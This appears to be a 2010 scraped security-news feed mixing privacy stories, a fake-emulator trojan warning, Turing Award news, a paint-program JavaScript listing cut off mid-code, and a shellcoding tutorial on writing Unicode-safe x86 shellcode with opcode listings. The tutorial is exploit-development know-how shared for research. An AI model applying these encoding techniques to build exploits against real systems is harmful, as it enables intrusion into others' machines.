On 10/03/10 At 05:29 PM

On 10/03/10 At 05:00 PM

Categories: Auditing & Assessment,Best Practices,Intrusion Detection,Logging Technology and Techniques,Compliance

Paper Added: March 10, 2010

Accounting firms can be conservative about trying new technologies -- especially when they're worried about the security of financial data in the cloud. But their professional association is working to ease those concerns by identifying "preferred vendors." Will other industries follow?

read more

Mobile that allows bosses to snoop on staff developed: Via BBC News.

Researchers have produced a mobile phone that could be a boon for prying bosses wanting to keep tabs on the movements of their staff.

Japanese phone giant KDDI Corporation has developed technology that tracks even the tiniest movement of the user and beams the information back to HQ.

It works by analysing the movement of accelerometers, found in many handsets.

Activities such as walking, climbing stairs or even cleaning can be identified, the researchers say.

The company plans to sell the service to clients such as managers, foremen and employment agencies.

"Technically, I think this is an incredibly important innovation," says Philip Sugai, director of the mobile consumer lab at the International University of Japan.

Advertisement: [ Read more ... ]

Account still restricted

"PayPal is a fucking liar, a cheat and a thug," says Cryptome operator John Young. The eBay-owned payment service closed the Cryptome account last week, with over $5,000 of donations intended for Young in limbo.…

New "Smart Meters" for Energy Use Put Privacy at Risk: Via EFF.org Updates.

The ebb and flow of gas and electricity into your home contains surprisingly detailed information about your daily life. Energy usage data, measured moment by moment, allows the reconstruction of a household's activities: when people wake up, when they come home, when they go on vacation, and maybe even when they take a hot bath.

California's PG&E is currently in the process of installing "smart meters" that will collect this moment by moment data—750 to 3000 data points per month per household—for every energy customer in the state. These meters are aimed at helping consumers monitor and control their energy usage, but right now, the program lacks critical privacy protections.

That's why EFF and other privacy groups filed comments with the California Public Utilities Commission Tuesday, asking for the adoption of strong rules to protect the privacy and security of customers' energy-usage information. Without strong protections, this information can and will be repurposed by interested parties. It's not hard to imagine a divorce lawyer subpoenaing this information, an insurance company interpreting the data in a way that allows it to penalize customers, or criminals intercepting the information to plan a burglary. Marketing companies will also desperately want to access this data to get new intimate new insights into your family's day-to-day routine–not to mention the government, which wants to mine the data for law enforcement and other purposes.

Advertisement: [ Read more ... ]

Works include a lineage of variations, modifications and relations to the Arduino microcontroller
Hc Gilje
Aaron Koblin
Hernando Barragán
Edith Kollath
Jan Borchers & René Bohne
Becky Stern
Ranjit Bhatnagar
Oscar Torres & Jakoon
Raphael Abrams
Joe Saavedra

Curated by Alicia Gibb, based on the work of her master’s thesis

Special thanks to Shelby Arnold for designing the invite.

[Steve Hoefer] pulled together a great hack for the friendless. This glove will play a heated game of rock-paper-scissors against you. [Steve] realized that the middle and fourth fingers are all that need to be monitored to decide which of the three signs you are making. He used flex sensors on the back of these fingers as an input. There is also an accelerometer to judge the three shakes that lead up to the shoot.

The small screen you see displays what the glove chose and is a hack in itself. This idea adapts from an Evil Mad Scientist project, using three sheets of acrylic etched with the different icons and edge-lit with LEDs. All of this, along with a speaker and scoreboard, connect to an Arduino. The icing on the cake? [Steve] coded an adaptive learning algorithm that observes your playing style to gain an advantage.

See this in action after the break. Once you’ve mastered rock-paper-scissors you should consider building other glove-based peripherals.

[Thanks Zokier]

Be on the lookout for websites offering up “free applications” which come with a nasty sting in the tail. Here’s a typical example: Appzkeygen(dot)com

If you like videogame consoles, you may be a fan of emulators (programs that ape long dead consoles, allowing you to play old games on your PC – we’ll avoid the murky legal minefield that comes with this practice and instead focus on the malware).

Below is a Playstation 2 emulator – no really, it is. Would they lie to you?



Probably best not to answer that question.

Download and run any of the above files - all hosted at movieutilitesonline(dot)com - and you’ll probably be wondering where the alleged emulator is that is “by far superior to all other PS2 Emulators released before it.”

A pair of files will be dropped onto your PC, including a randomly named executable in the Windows directory and xpysys.dll in your System32 Folder. You’ve actually wound up with Trojan-Downloader.Win32.CodecPack.2GCash.Gen, which is – as you’ve probably guessed from the name - a Trojan downloader.

In some cases, people have reported this particular attack resulting in rogue antivirus appearing on the compromised system – however, during testing nothing was downloaded onto the PC. This doesn’t mean it won’t happen, of course – and you’ll still have the downloader onboard. Trojan-Downloader.Win32.CodecPack.2GCash.Gen has been used in everything from fake codec scams to rogue AV hijacks in previous months, and is probably going to stick around for quite some time.

Paper Ghost

The Limits of Identity Cards: Via Schneier on Security.

Good legal paper on the limits of identity cards: Stephen Mason and Nick Bohm, "Identity and its Verification," in Computer Law & Security Review, Volume 26, Number 1, Jan 2010.

Those faced with the problem of how to verify a person's identity would be well advised to ask themselves the question, 'Identity with what?' An enquirer equipped with the answer to this question is in a position to tackle, on a rational basis, the task of deciding what evidence will be useful for the purpose. Without the answer to the question, the verification of identity becomes a sadly familiar exercise in blind compliance with arbitrary rules.

Read Original Article:(Via Schneier on Security.)

Advertisement: [ Read more ... ]

Privacy Protection Needed as Smart Grid Arrives / Groups Urge California PUC to Adopt Rules to Protect Consumer Privacy: Via CDT.

SAN FRANCISCO – Privacy advocates are warning that "smart meters" intended to precisely measure and control home electrical consumption could erode the privacy of daily life unless regulators limit data collection and disclosure. In a joint filing yesterday, the Center for Democracy & Technology (CDT) and the Electronic Frontier Foundation (EFF) urged the California Public Utilities Commission (PUC) to adopt rules to protect the privacy and security of consumers’ energy-usage information. The Samuelson Law, Technology & Public Policy Clinic at UC Berkeley School of Law drafted the comments for CDT.

Joint CDT - EFF Comments to California Public Utilities Commission

More information about privacy and the smart grid

California’s Smart Grid Initiative

Read Original Article:(Via CDT.)

Advertisement: [ Read more ... ]

The majestic petulance of John Roberts: Via Salon: Glenn Greenwald.

The petulance and sense of self-importance on display here is quite something to behold:

U.S. Supreme Court Chief Justice John Roberts said Tuesday the scene at President Obama's State of the Union address was "very troubling" . . . . Obama chided the court, with the justices seated before him in their black robes, for its decision on a campaign finance case. . . . Responding to a University of Alabama law student's question, Roberts said anyone was free to criticize the court, and some have an obligation to do so because of their positions.
"So I have no problems with that," he said. "On the other hand, there is the issue of the setting, the circumstances and the decorum.
"The image of having the members of one branch of government standing up, literally surrounding the Supreme Court, cheering and hollering while the court -- according the requirements of protocol -- has to sit there expressionless, I think is very troubling."

Advertisement: [ Read more ... ]

The N.Y.P.D. Is Watching Certain People: Via NYTimes.com .

From 2004 through 2009, in a policy that has gotten completely out of control, New York City police officers stopped people on the street and checked them out nearly three million times, frisking and otherwise humiliating many of them.

Upward of 90 percent of the people stopped are completely innocent of any wrongdoing. And yet the New York Police Department is compounding this intolerable indignity by compiling an enormous and permanent computerized database of these encounters between innocent New Yorkers and the police.

Not only are most of the people innocent, but a vast majority are either black or Hispanic. There is no defense for this policy. It’s a gruesome, racist practice that should offend all New Yorkers, and it should cease.

Advertisement: [ Read more ... ]

1. Would you care to tell us how did you get into IT and what lead you into a career in information security? What keeps you busy these days?
   
2. What's the difference between focusing on threats vs focusing on vulnerabilities?
   
3. What is your problem with the "protect the data" mindset?
   
4. What do you mean by "building visibility in"?
   
5. What is your take on the Aurora/Google hack?
   
6. You just tweeted that "Network Security Monitoring ideology is the proper mechanism to combat APT/APA". Do you think network IPS/IDS/WAF can help defend insecure web applications? What are the limits of Network Security Monitoring?
   
7. How important a role do you think secure coding and secure software development life-cycle play in defending the enterprise?
   
8. Have HIPAA, PCI, SOX and other regulations helped reduce risk in the average enterprise?
   
9. Is seems pretty clear that attackers have a clear advantage. Why is that? How can we turn the tide?
   
10. Any thoughts on OWASP? Are we helping the cause?
    
11. Where are we going to be as an industry in 10 years?
    
12. You blogged that "The trustworthiness of a digital asset is limited by the owner's capability to detect incidents compromising the integrity of that asset." Given that we don't have any high integrity database, identities or application servers - how do you detect a breach of integrity when there is no verifiable integrity in the system in the first place?
    

Copyright 2003-2009 Richard Bejtlich and TaoSecurity (taosecurity.blogspot.com and www.taosecurity.com)

Follow along with [Victor] through the journey of building a life size replica of R2D2. While you may not be able to scrape too many specific details from the video, it is still great to see the project progress from his first cut to the finished product as well as some fun little outings. His R2 looks absolutely impeccable and he deserves dome credit for taking it to places to show kids. We would have probably just found interesting ways for it to bring us beers.

[via Makezine]

Two weeks ago I posted about the Summary Care Record, a project to centralise medical records in England and Wales under the pretext that central records might be useful in emergency care. At the time, I wrote to the Cabinet Secretary asking whether it was appropriate to use taxpayers’ funds to leaflet millions of homes on a politically sensitive topic during an election campaign; I haven’t yet got a reply.

Doctors’ leaders are now alarmed. Patients are being misinformed, and opt-out is being made difficult.

The information being given to patients is false and misleading. The SCR promotional leaflet says anyone who has access to your records … must be directly involved in caring for you. However, large numbers of officials will have access. And as I already noted, the SCR isn’t as helpful in emergencies as it’s spun. Its purpose is actually different: to provide the basis for a centralised electronic patient record for everyone.

Doctors have noted that in the pilot areas, seven out of ten patients are unaware that an SCR was created for them. The patient information packs don’t contain an opt-out form; you’re supposed to phone the call centre for one. Over two hundred thousand people have downloaded an opt-out letter from www.thebigoptout.org; now the NHS says it wants doctors to ignore this and get everyone who wants to opt out to use this form instead (which GPs can’t order in bulk).The roll-out is rushed and displays typical incompetence: for example, some patients have been sent other patients’ letters. I am sure this story will run and run.

Related Posts

1. Steve Benson: CageWorld
2. Steve Benson: Feeling Better
3. Steve Benson: Rotten Apple
4. Steve Benson: Tempus Fugit
5. Steve Breen: Winter Games…

Online banking losses up though

A rise in online banking fraud losses took some of the shine off the overall fall in debit and credit fraud in the UK last year.…

Brian Snow,  respected, former United States National Security Agency IA Chief, unequivocally voices what we have always known: Trust the cloud – Not… More information, including a short snip of the original post, appears after the post.

via ITWorld’s Tim Greene: “Former NSA tech chief: I don’t trust the cloud“

The former National Security Agency technical director told the RSA Conference he doesn’t trust cloud services and bluntly admonished vendors for leaving software vulnerabilities unpatched sometimes for years. Speaking for himself and not the agency, Brian Snow says that cloud infrastructure can deliver services that customers can access securely, but the shared nature of the cloud leaves doubts about attack channels through other users in the cloud. “You don’t know what else is cuddling up next to it,” he says. Snow was speaking as a member of the annual cryptographers panel at RSA Conference. Another panelist said he doesn’t trust clouds either, but his reluctance was based upon worry about what NSA might be up to. Adi Shamir a computer science professor at Israel’s Weizmann Institute of Science and also the “S” in the RSA encryption algorithm, warned against trusting cloud computing services for the same reason he suspects the confidentiality of transmissions over telecom networks and the Internet. He says the phone systems are secure, but that major crossroads in their networks are tapped by the NSA. “There’s a pipe out of the back of an office at AT&T in San Francisco to NSA,” he said.

Related Posts

1. XKCD: Snow Tracking
2. Cloud Company Loses Customer Data, In The Cloud…
3. Securosis: 5 Stages Of Cloud Computing Grief
4. MySQL Workbench Functions On Snow Leopard
5. Cloud Anti-Virus? Panda AV Cloud in Beta

Related Posts

1. PCI DSS 2.2.1: Single Function Servers
2. XKCD: New Car
3. XKCD: The Well 2
4. XKCD: TED
5. XKCD: Too Old…

Good legal paper on the limits of identity cards: Stephen Mason and Nick Bohm, "Identity and its Verification," in Computer Law & Security Review, Volume 26, Number 1, Jan 2010.

Those faced with the problem of how to verify a person's identity would be well advised to ask themselves the question, 'Identity with what?' An enquirer equipped with the answer to this question is in a position to tackle, on a rational basis, the task of deciding what evidence will be useful for the purpose. Without the answer to the question, the verification of identity becomes a sadly familiar exercise in blind compliance with arbitrary rules.

In honor and recognition of the phenominal work of Charles P. Thacker, the Association of Computing Machinery has awarded the Xerox PARC alumnus with the 2009 A.M. Turing Award. Thacker, creator of the Alto, the first modern personal computer [also cited was his co-creation of Ethernet Networking, in, and of itself, one of the great inventions of the last century]. After all, the network IS the computer, right? The full announcement appears after the jump. Congratulations Dr. Thacker!

ACM Turing Award Goes to Creator of First Modern Personal Computer

Thacker, Founding Member of Three Major Research Labs, Linked to Tablet PC and Other Major Innovations in Computing

Printable Word File

NEW YORK, March 9, 2010 – ACM, the Association for Computing Machinery today named Charles P. Thacker the winner of the 2009 ACM A.M. Turing Award http://awards.acm.org/2010/turing-award.cfm for his pioneering design and realization of the Alto, the first modern personal computer, and the prototype for networked personal computers.  Thacker’s design, which he built while at Xerox PARC (Palo Alto Research Center), reflected a new vision of a self-sufficient, networked computer on every desk, equipped with innovations that are standard in today’s models.  Thacker was also cited for his contributions to the Ethernet local area network, which enables multiple computers to communicate and share resources, as well as the first multiprocessor workstation, and the prototype for today’s most used tablet PC, with its capabilities for direct user interaction.  The Turing Award, widely considered the “Nobel Prize in Computing,” is named for the British mathematician Alan M. Turing.  The award carries a $250,000 prize, with financial support provided by Intel Corporation and Google Inc.

“Charles Thacker’s contributions have earned him a reputation as one of the most distinguished computer systems engineers in the history of the field,” said ACM President Professor Dame Wendy Hall.  “His enduring achievements—from his initial innovations on the PC to his leadership in hardware development of the multiprocessor workstation to his role in developing the tablet PC—have profoundly affected the course of modern computing.”

Andrew Chien, Vice President of Intel Labs and Director of Future Technologies Research at Intel Corporation said, “Charles Thacker’s design of the Alto computer embodied the key elements of today’s personal computers, and is at the root one of the world’s most innovative industries that empowers individuals around the world.  We applaud Chuck’s clarity of insight, focus on simplicity, and his incredible track record of designing landmark systems that have accelerated the progress of both research and industry for decades.”

“Google is pleased to join in honoring Charles Thacker for his far-reaching role in the birth of one of the most important technologies in the 20^th century,” said Alfred Spector, Vice President of Research and Special Initiatives at Google Inc.  “His contributions made possible the style of computing that we enjoy today, and we are proud to be a sponsor of the ACM Turing Award to encourage continued research in computer science, and the related technologies that depend on its continued advancement.”

Influencing the Course of Computer History
Thacker created and collaborated on what would become the fundamental building blocks of the PC business.  The Alto computer, developed in 1974, incorporated bitmap (TV-like) displays which enable modern graphical user interfaces (GUIs), including What You See Is What You Get (WYSIWYG) editors.  These components have dominated computing during the last two decades.  Thacker was the co-inventor of the Ethernet local area network, introduced in 1973, the “interconnection fabric” that allows multiple digital devices such as workstations, printers, scanners, file servers, and modems to communicate with each other.  Today’s Ethernets, which are thousands of times faster than the original version, have become the dominant local area networking technology.

At Digital Equipment Corporation’s System Research Center, Thacker designed the Firefly multiprocessor workstation, an innovation that has new relevance in the current multicore world.  These systems are widely used across many domains for their ability to improve productivity and create performance advantages, with applications for embedded architecture, network systems, digital signal processing, graphics, and special effects.

Thacker went on to Microsoft Research in 1997 to help establish its Microsoft Research Cambridge laboratory, where he also oversaw the design of the first prototypes on which most of today’s tablet PCs are based. Described as the most significant recent advance in the PC hardware platform, they enable faster, more powerful operations and they offer fundamentally new capabilities for direct interaction with users that are fast becoming part of the mainstream of computing.  After joining the Tablet PC team to help shepherd the product to market, he returned to Microsoft Research in 2005, and is currently engaged in computer architecture research at Microsoft’s Silicon Valley campus.

Background
Thacker has published extensively and holds 29 patents in computer systems and networking.  He is a Distinguished Alumnus of the Computer Science Department of the University of California Berkeley, where he earned a B.S. in physics.  He holds an honorary doctorate from the Swiss Federal Institute of Technology (ETH) and is a Fellow of ACM and the Computer History Museum.  He is also a member of the American Academy of Arts and Sciences and the U.S. National Academy of Engineering.

For the development of Alto, Thacker (with Butler Lampson and Robert Taylor) received the 1984 ACM Software System Award.  In 2004, (with Lampson, Taylor, and Alan Kay) he was awarded the Charles Stark Draper prize for the development of the first networked personal computers.  In 2007, he was the recipient of IEEE’s John von Neumann medal.

ACM will present the 2009 A.M. Turing Award at its Awards Banquet on June 26, in San Francisco, CA.

About the ACM A.M. Turing Award
The A.M. Turing Award was named for Alan M. Turing, the British mathematician who articulated the mathematical foundation and limits of computing, and who was a key contributor to the Allied cryptanalysis of the German Enigma cipher during World War II.  Since its inception in 1966, the Turing Award has honored the computer scientists and engineers who created the systems and underlying theoretical foundations that have propelled the information technology industry.  Go to http://awards.acm.org/turing for information.

About ACM
ACM, the Association for Computing Machinery www.acm.org, is the world’s largest educational and scientific computing society, uniting computing educators, researchers and professionals to inspire dialogue, share resources and address the field’s challenges. ACM strengthens the computing profession’s collective voice through strong leadership, promotion of the highest standards, and recognition of technical excellence.  ACM supports the professional growth of its members by providing opportunities for life-long learning, career development, and professional networking.

Related Posts

1. Genius: Barbara Liskov, Ph.D., Named Winner Of 2008 ACM A.M. Turing Award
2. ACM Fellow Named Oscar Winner
3. Bletchely Park Slates 2009 Alan Turing Memorial Soiree
4. Genius: Alan Mathison Turing, Ph.D., OBE, FRS
5. ACM Announces Awards Deadline

Every twt.tl bit helps

Twitter has tightened up security procedures in order to curtail phishing attacks against users of the micro-blogging service, which have become rampant over recent weeks.…

On 10/03/10 At 12:06 PM

In order to provide our customers with the best user experience and in order to target many different platforms, the IDA Pro graphical user interface is currently being rewritten using the Qt technology.

Qt (pronounced "cute") is a cross-platform application and UI framework and the Win32 VCL-based IDA Pro interface is being ported to it. The goal is to provide all the features available in the current GUI while maintaining the maximum compatibility with plugins and other external modules.

Here is a screenshot of the current build of idaqt running on Ubuntu:

You can click on the images to enlarge them.

This post is a followup on my previous post on KISS shellcoding and exploitation. Like before this is part of the job I do for SecuriTeam’s SSD. Those that are not aware of the project its aim is to give researchers compensation for their researcher efforts, compensation of course being money not just fame and glory
The most common and classic shellcode char restrictions is “zero tolerance”. this can be solved in a verity of different methods. ranging from substitution to polymorphic escape decoders. Solving zero-tolerance is a very useful and thought-provoking problem, however provides a limited amount of fun:). especially once a basic set of solutions has been developed.

Let’s have a look at slightly more challenging problem - can we write shellcode that contains a null char at every other byte, and *only* every other byte, for e.g. s\x00h\x00e\x00l\x00l\x00c\x00o\x00d\x00e0

This can happen if our shellcode were to pass through a call to MultiByteToWideChar() or similar function, [optional: as I once encountered during working on an sd vulnerability]. This is often encountered in browser bugs (especially DOM and/or scripting).

Some work has been done on this subject, namely a method was described by ngss reasercher Chris Anley. This method was coined “Venetian Blinds” or ”The Venetian exploit”. The method I suggest here is similar, but slightly different in that it does not make as many assumptions and presents a more theoretical approach. This work is an original unrelated effort.

Let us get to it.

Enumerating the methods we can use to write ugly ascii-to-unicode shellcode we find many are similar to regular zero-tolerance or ascii shellcode methods.

We can decode in-place, copy, byte-substitute. These methods will become more clear as you read. In some cases it will be necessary to find eip/getPC.

This also can be done in several ways, similarly to shown in my previous post, but differently( Try encoding FSTENV with null bytes, email me if you succeed

It will take many pages to thoroughly cover all of these methods and so I’ll start with the simplest copy method.

Instead of just presenting the final result, I will walk through my thought process working on this. In this post I present several different trials at shellcode, some of which are not immediately useful. This will allow you to better understand the intricacies shellcode-restriction, and get a feel for the different problems I faced.

Let’s copy our code somewhere. If we were to decode in-place, we would essentially write the same code, as well as extra getPC code.

Not as easy as it sounds. let us start from building restriction-compliant basic-blocks which can br used later. These blocks shall suffice:
1) set register
2) string operation
3) branch
4) glue block

These translate to:

1) mov reg32, imm32
2) mov [reg32],imm8
inc reg32 # imm8 !=0
3) jmp/call reg32
4) a “glue block” that can be use between every two blocks, and between two compliant opcodes. This is a compliant block that starts and ends with a null byte. we’ll mark it *GB.

if we want to get a bit fancier we may need:
3) pop reg32
4) mov [reg32],imm16 # imm16 bytes not equal 0
inc reg32
inc reg32

(U) basic block number one: setting a register - attempt 1.0
the following opcode:
mov ecx, 0×11223344
decodes like this:
B9 44332211

which of course is not very helpful to us. The best we can do with our restriction and this basic opcode is:
B9 00330011 == mov ecx, 0×11003300

this is not very useful. we want to be able to put an arbitrary value into r32. let’s divide in to two parts by bytes:

two lower bytes(”3rd and 4th”):let’s start by setting the two lower bytes. this is easy

*GB ; zero-out ecx
push 0
pop ecx

mov edx,77007700 BB00770077 ; use edx as help-reg

*GB
add ch,dh - 00F5 c
mov edx,66006600 - BB00660066.

*GB
add cl,dh - 00F1

This is a good method for the lower bytes. let’s call it “set (cx, 0×1122)”.

Those readers with a keen eye may notice that assembling these opcodes may not result in compliant shellcode.

This is because different byte-sequences may represent the same opcode. x86 opcodes are built of micro-codes or U-codes(with the greek letter mewh). Every Ucode performs a very basic operation. Several of these are dubbed “opcode”. Different sequences of Ucodes may result in the same end and therefore be functionally-equivalent, usually an assembler will choose the faster one.

topmost two bytes:
in order to set the topmost byte we can:

mov ecx,66006600 - BB00660066.

In order to set the topmost byte to zero we can: zero out the whole r32, later setting byte’s 3&4 . this is done by replacing our first opcode with the sequence:
push 0 - 6A00
pop ecx - 59

onwards.

we are now able to set the 1st,3rd, and 4th bytes of a register. how will we set the second? if the value needed is very low or very high we could:
set (cx, 0xFFFF)
*GB

inc ecx - 41
*GB
set (cx, 0xFFFF)
etc.

or

set (cx, 0×0000) ; this is not trivial, but easy
*GB
DEC ecx - 41

etc.

This method is not very space-conservative. let’s try finding a better method.

And now for something completely different - let’s find a better method. This time the process will include taking a peak at the intel x86 reference manual (I used the xeon manual) in search for interesting opcode encodings.

(U) basic block number one: attempt 2.0 - setting the top two bytes.

this time, we’ll try using program memory, specifically - the stack. this may a good method because many stack operations are single-byte. this may be bad, if sp points somewhere unwritable when the shellcode is running(but can be adapted).

fun fact - sifting through the intel reference manual we can see that the set of operands [eax]/al /ax/eax can provide plenty compliant opcodes which will not be compliant with other registers used. for eg:
MOV DWORD PTR DS:[EBX],110011 - C7 03 11 00 11 00
MOV DWORD PTR DS:[EAX],110011 - C7 00 11 00 11 00

now consider the following opcodes:
push 11003300 - 6800330011
*GB
push esp - 54
*GB
pop eax - 58
*GB
add dword ptr [eax], 00220044
*GB
pop ecx

now ecx == 0×11223344
this is better than we expected. we have set all four bytes.

we already know how to change the two lower-most bytes if we want to zero them out. we also know how to zero out the 2nd topmost byte,or both high bytes. if we want to get 0×00112233 we can use (i’m omitting opcode encoding from hereon):

push 11003300 ; [esp] = 11003300
*GB
push 11003300 ; [esp] = 11003300
*GB
inc esp ; [esp] = 00110033
*GB
pop ecx ; ecx = 00110033
*GB
dec esp ; [esp] = 11003300
pop eax ; to restore stack

and then set the missing low bytes. We already know a different way of doing this - look for it.

Thus we have a compact method of performing mov r32,imm32 for any value.

(U) basic block no. 2: mov [reg32],imm8, inc reg32 # imm8 !=0 - attempt 1.0

First, let’s assume we know what data is present at the copy destination address. In this case, it will be pretty easy to build this BB. We will be using an add operation. here we are adding 0×90 to a one byte at [ecx], and ecx++.

mov eax,90009000 ; ah=90
add byte ptr [ecx],ah ; [ecx] += 0×90
inc ecx

this of course will be padded with *GB whenever needed. if we don’t know what data lays at [ecx] we could try this:
push ecx
pop eax ; eax =ecx
mov byte ptr al,[eax] ; al= [ecx]

;negate eax
push 0
pop ebx
add bh,al ; bh =al == [ecx]
xor ebx, ff00ff00
push 0
pop eax;
add al,bh ; al = al ^ 0xff == [ecx]^0xff
inc al ; al++ == -(byte ptr [ecx] )

;add negated value, and wanted value
mov edx, 11001100
add al,dh
add byte ptr [ecx],al ; [ecx] = [ecx] + (-[ecx] + dh) == dh == 11
inc ecx

once again, padded with *GB. this is not very elegant or small, but seems to work nicely. let’s give it another try. this time using a completely different type of opcodes:
push esp
pop edx

[;coment here]

inc ecx
inc ecx
inc ecx
inc ecx

push ecx
pop esp

set(ebx,0×90909090)
push ebx

push edx
pop esp

this looks nicer.

(U) 3) jmp/call reg32
this is easy:
push ecx
*GB
retn

(U) 4) the star of the evening - our very own - Glue Block we could try this:
ADD BYTE PTR SS:[EBP],AL - 004500

or this - after setting the right registers.

ADD BYTE PTR DS:[EAX],CL ; (we could probably pull eax off the stack, but can’t use set(eax,0xADDR) because we can’t use this GB, which is needed to do this there are probably a few others. Using these may require us to do minor fixups. this basically sums up everything we need to build a fancy ascii-to-shellcode decoder. now that we have our 4 basic blocks we can use them to program/ like this: 2-3-4-1-1-1-2-3-4-4/ just kidding.

An example simple windows code that copies four nop bytes to [7FFE0300 +0×100] looks like this:
what we would really be copying is a short code to find the original shellcode, and decode it. this is pretty simple straight-forward assembly

; ecx = 7FFE0400
68 0004007F PUSH 7F000400
0045 00 ADD BYTE PTR SS:[EBP],AL
54 PUSH ESP ; GB
58 POP EAX
8100 0100FE00 ADD DWORD PTR DS:[EAX],0FE0001
59 POP ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
49 DEC ECX

;al = 0×90

0045 00 ADD BYTE PTR SS:[EBP],AL
B8 00900090 MOV EAX,90009000
00E0 ADD AL,AH

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL; [ecx] = 0×90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX ;ecx++

;byte ptr [ecx] = 0×90
;ecx ++

0001 ADD BYTE PTR DS:[ECX],AL [ecx] = 0×90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
41 INC ECX

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
0045 00 ADD BYTE PTR SS:[EBP],AL

;jmp [ecx-4]

DEC ECX
DEC ECX
DEC ECX
DEC ECX

51 PUSH ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
C3 RET

0000

Of course, all the methods I discussed here can be highly optimized(such using dword values?), and probably some other methods may be used. these are the basics

Also, if we want to keep a code-shellcode ratio anything close to plausible, we will have to be able to write small amount of bytes that can find the original chunk and decode it from our
destination address. this can very often be done through use of register and stack state at the time the shellocde started running. we’re in luck with this - pushad is compliant.

-

Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!

Kiss and don't tell

Celebrity publicist Max Clifford has agreed to accept a £1m plus payoff in exchange for dropping phone hacking allegations against the News of the World.…

Feds cuff JihadJane

A suburban Pennsylvania woman who went by the online alias JihadJane used the internet to recruit Islamic terrorists and to plot the assassination of a Swedish cartoonist who depicted the Prophet Mohammed, according to a federal indictment unsealed Tuesday.…

Every twt.tl bit helps
Twitter has tightened up security procedures in order to curtail phishing attacks against users of the micro-blogging service, which have become rampant over recent weeks.…
The power of collaboration within unified communications

Read more…

Here’s a simple paint program I made using canvas. It’s a pretty blatent ripoff of another one that a friend showed me today, but unfortunately I don’t have the URL handy. (Sorry, I’ll update in the morning!) The framework makes it pretty simple for you to add your own tools. Click on for source.

JPLT.Class.create("JPLT.PaintTool", JPLT.Object,
	function() {
		this.isPainting = false;
		this.x = 0;
		this.y = 0;
		this.d = 0;
		this.a = 0;
		this.isPainting = false;
	},
 
	{
		mouseMoved: function(e) {
			var x2 = e.clientX;
			var y2 = e.clientY;
			this.oldx = this.x;
			this.oldy = this.y;
			this.dy = y2-this.y;
			this.dx = x2-this.x;
			this.d = Math.sqrt(Math.pow(this.dx,2)+Math.pow(this.dy,2));		
			this.a = Math.atan2(this.dy,this.dx);
			this.x = x2;
			this.y = y2;
		},
 
		mousePressed: function() {
			this.isPainting = true;
		},
 
		mouseReleased: function() {
			this.isPainting = false;
		},
 
		paint: function(ctx) {
		}
	}
);
 
JPLT.Class.create("JPLT.PaintTool.InkBlob", JPLT.PaintTool,
	function() {
		this.superConstruct()
		this.radius = 1;
	},
	{
		mouseMoved:function(e) {
			this.superCall("mouseMoved",e);
 
			if (this.radius > 1) {
				this.radius = Math.max(this.radius-this.d/5,1);				
			}
		},
 
		mouseReleased:function(e) {
			this.superCall("mouseReleased",e);
 
			this.radius = 1;
		},
 
		paint: function(ctx) {
			if (this.isPainting) {
				ctx.fillStyle = "rgba(0,0,0,0.3)";
				ctx.beginPath();
				ctx.arc(this.x, this.y, this.radius, 0, 2*Math.PI, false);
				ctx.fill();
				this.radius += 0.5;
			}
		}
	}
);
 
JPLT.Class.create("JPLT.PaintTool.Ribbon", JPLT.PaintTool,
	function() {
		this.superConstruct();
	},
	{	
		paint: function(ctx) {
			if (this.isPainting) {
				ctx.save();
				ctx.strokeStyle = "rgba(0,0,0,0.3)";
				ctx.translate(this.x,this.y);
				ctx.rotate(this.a);
				ctx.beginPath();
				ctx.moveTo(-10,-10);
				ctx.lineTo(10,10);
				ctx.stroke();
				ctx.restore();
			}
		}
	}
);
 
JPLT.Class.create("JPLT.PaintTool.Slinky", JPLT.PaintTool,
	function() {
		this.superConstruct();
	},
	{
		paint:function(ctx) {
			if (this.isPainting) {
				ctx.save();
				ctx.strokeStyle = "rgba(0,0,0,0.3)";
				ctx.beginPath();
				ctx.arc(this.x,this.y,10,this.a,this.a+Math.PI,true);
				ctx.stroke();
				ctx.restore();				
			}
		}
	}
);
 
JPLT.Class.create("JPLT.PaintTool.Line", JPLT.PaintTool,
	function() {
		this.superConstruct();
	},
	{
		paint:function(ctx) {
			if (this.isPainting) {
				ctx.save();
				ctx.strokeStyle = "rgba(0,0,0,0.3)";
				ctx.beginPath();
				ctx.moveTo(this.x-this.dx,this.y-this.dy);
				ctx.lineTo(this.x,this.y);
				ctx.stroke();
				ctx.restore();
			}
		}
	}
);
 
JPLT.Class.create("JPLT.Paint", JPLT.Object,
	function() {
		this.width = window.innerWidth;
		this.height = window.innerHeight;
 
		this.currentTool = new JPLT.PaintTool.InkBlob();
 
		this.createElement();
		this.run();
	},
	{
		tools: {
			'inkblob': new JPLT.PaintTool.InkBlob(),
			'ribbon': new JPLT.PaintTool.Ribbon(),
			'slinky': new JPLT.PaintTool.Slinky(),
			'line': new JPLT.PaintTool.Line()
		},
 
		createElement: function() {
			var body = document.documentElement || document.body;
 
			this.element = document.createElement("canvas");
			this.element.width = this.width;
			this.element.height = this.height;
			this.element.style.position = "absolute";
			this.element.addEventListener("mousemove", this.delegate(this.mouseMoved), true);
			this.element.addEventListener("mousedown", this.delegate(this.mousePressed), true);
			this.element.addEventListener("mouseup", this.delegate(this.mouseReleased), true);			
			body.appendChild(this.element);
 
			var div = document.createElement("div");
			div.style.textAlign = "center";
			div.style.position = "absolute";
			div.style.zIndex = 1;
			div.style.width = this.width;
 
			var select = document.createElement("select");
			select.addEventListener("change", this.delegate(this.changeTool), true);
 
			for (var tool in this.tools) {
				var option = document.createElement("option");
				option.value = tool;
				option.text = tool;
				select.add(option,null);
			}
			div.appendChild(select);
 
			var clearButton = document.createElement("button");
			clearButton.innerHTML = "clear";
			clearButton.addEventListener("click", this.delegate(this.clear), true);
			div.appendChild(clearButton);
 
			var saveButton = document.createElement("button");
			saveButton.innerHTML = "save";
			saveButton.addEventListener("click", this.delegate(this.save), true);
			div.appendChild(saveButton);
 
